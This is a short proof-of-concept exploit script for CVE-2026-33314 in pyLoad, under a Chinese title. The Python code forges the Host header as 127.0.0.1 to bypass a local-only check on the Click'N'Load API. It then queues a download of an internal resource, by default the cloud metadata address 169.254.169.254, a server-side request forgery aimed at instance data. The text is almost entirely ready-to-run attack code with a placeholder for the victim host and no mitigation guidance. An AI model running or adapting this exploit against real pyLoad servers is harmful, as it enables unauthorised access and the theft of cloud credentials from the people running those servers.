CVE-2026-33314 pyLoad主机头伪造漏洞

import requests def exploit_poc(target_url, ssrf_target): """ PoC for CVE-2026-33314: pyLoad Host Header Spoofing """ # The Click'N'Load API endpoint usually resides here api_endpoint = f"{target_url}/api/cnl" # Spoof the Host header to bypass @local_check decorator headers = { "Host": "127.0.0.1", "User-Agent": "CVE-2026-33314-Exploit" } # Payload to queue a download (can be internal resource for SSRF) data = { "urls": ssrf_target, "package": "PoC_Exploit" } try: print(f"[*] Sending request to {api_endpoint} with spoofed Host header...") response = requests.post(api_endpoint, headers=headers, data=data, timeout=5) if response.status_code == 200: print("[+] Request successful! Payload likely queued.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target URL target = "http://<vulnerable-pyload-host>:8000" # Replace with internal target for SSRF (e.g., http://127.0.0.1:80) internal_target = "http://169.254.169.254/latest/meta-data/" exploit_poc(target, internal_target)